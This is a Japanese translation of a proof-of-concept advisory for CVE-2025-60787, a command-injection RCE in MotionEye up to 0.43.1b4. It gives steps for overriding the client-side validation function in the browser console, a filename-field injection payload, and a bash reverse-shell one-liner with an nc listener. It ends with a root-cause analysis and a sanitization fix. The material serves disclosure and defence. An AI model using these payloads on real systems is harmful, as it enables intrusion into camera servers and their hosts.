CVE-2025-60787

CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4
元リンク: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter

クライアント側バリデーション回避によるMotionEye RCE

概要

Dockerで実行中のMotionEyeインスタンスのセキュリティテスト中に、Web UI内のクライアント側バリデーションが回避可能であることが確認されました。これにより、ホストコンテナ上で実行をトリガーできるペイロードを含む任意の入力を送信できます。この問題は、悪用された場合、リモートコード実行（RCE）のリスクをもたらします。

影響を受けるバージョン: 0.43.1b4までの全バージョン
パッチ状況: まだパッチはありません。このアドバイザリに回避策が記載されています。
プロジェクト参照: https://github.com/motioneye-project/motioneye
CWE: CWE-20、CWE-78、CWE-116
CVSS: 3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10

---

環境

• ターゲット: Dockerで実行中のMotionEye
• イメージ: ghcr.io/motioneye-project/motioneye:edge
• 公開ポート: 9999（コンテナの8765にマッピング）
• テスト認証情報: admin / 空のパスワード（デフォルト）

---

再現手順

1. コンテナのセットアップ

次のコマンドを実行して、Dockerイメージのダウンロードを開始し、コンテナを起動します

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

2. バージョン確認

docker logs motioneye | grep "motionEye server"

結果: MotionEyeサーバー 0.43.1b4

3. ファイルシステムへのアクセス

Dockerコンテナが起動したら、次のコマンドを使用してコンテナのシェルにアクセスできます

docker exec -it motioneye /bin/bash
ls -la /tmp

4. 初期アクセス

Webインターフェースにアクセス:
http://127.0.0.1:9999
ログイン: admin（空のパスワード）

5. カメラのセットアップ

サンプルのRTSPネットワークカメラを追加しました。

6. インジェクションの試行

「静止画像」>「画像ファイル名」に悪意のある実行コマンドを入力しましたが、クライアント側のバリデーションエラーが発生しました。

$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

クライアント側のバリデーションによってブロックされました。

7. クライアント側バリデーションの発見

バリデーションを担当するスクリプトは次のとおりです: /static/js/main.js?v=0.43.1b4。これは/static/js/ui.js?v=0.43.1b4を参照してバリデーション条件を実装しています。

ファイル: /static/js/main.js?v=0.43.1b4（/static/js/ui.js?v=0.43.1b4を参照）

function configUiValid() {
    $('div.settings').find('.validator').each(function () { this.validate(); });
    var valid = true;
    $('div.settings input, select').each(function () {
        if (this.invalid) { valid = false; return false; }
    });
    return valid;
}

8. 回避テクニック

ブラウザコンソールでconfigUiValid関数をオーバーライドすることで、すべてのバリデーションチェックを回避できます: ブラウザのコンソール（F12またはCtrl+Shift+I）に以下のスニペットを入力します

configUiValid = function() { 
    return true; 
};

9. ペイロードの実行

これで、バリデーションなしでペイロードを直接入力できます: 以下のように設定し、設定を適用します

設定:

• キャプチャモード = 間隔スナップショット
• 間隔 = 10
• 画像ファイル名:

$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

適用 → root権限でファイルが作成されました。

---

影響: RCEの武器化

簡単なリバースシェルの生成:

リスナー:

nc -lvnp 4444

インジェクションされたペイロード:

$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S

結果: リモートシェルを取得しました。

---

根本原因とフロー

MotionEyeは、Webダッシュボードからユーザー入力を受け取り、危険な文字をチェックせずにMotion設定ファイルに直接書き込むため、脆弱です。たとえば、UIのimage_file_nameフィールドはバックエンド（config.py）に送信され、/etc/motioneye/camera-.confに保存されます。MotionEyeがMotionサービス（motionctl.start）を再起動すると、Motionプロセスがこの設定ファイルを読み取ります。picture_filenameフィールドに$(touch /tmp/test)のようなシェル構文が含まれている場合、Motionはそれをファイル名の一部として扱うのではなく、実際のコマンドとして実行します。

サニタイズされていない入力がMotion設定ファイルに書き込まれる:
ダッシュボードJS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motionがpicture_filenameを解析 → ペイロードを実行

---

防止策

サニタイズ修正

ファイル: /usr/local/lib/python3.13/dist-packages/motioneye/config.py

def sanitize_filename(value):
    # 英数字、%、_、-、/、.のみ許可
    for ch in value:
        if not (ch.isalnum() or ch in "%-_/."):
            return "%Y-%m-%d/%H-%M-%S"  # 安全なフォールバック
    return value

サニタイズを適用:

data['picture_filename']  = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])

修正前: 修正後:

---

代替解決策

ステップ1: Dockerを実行

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

ステップ2: コンテナにアクセス

docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py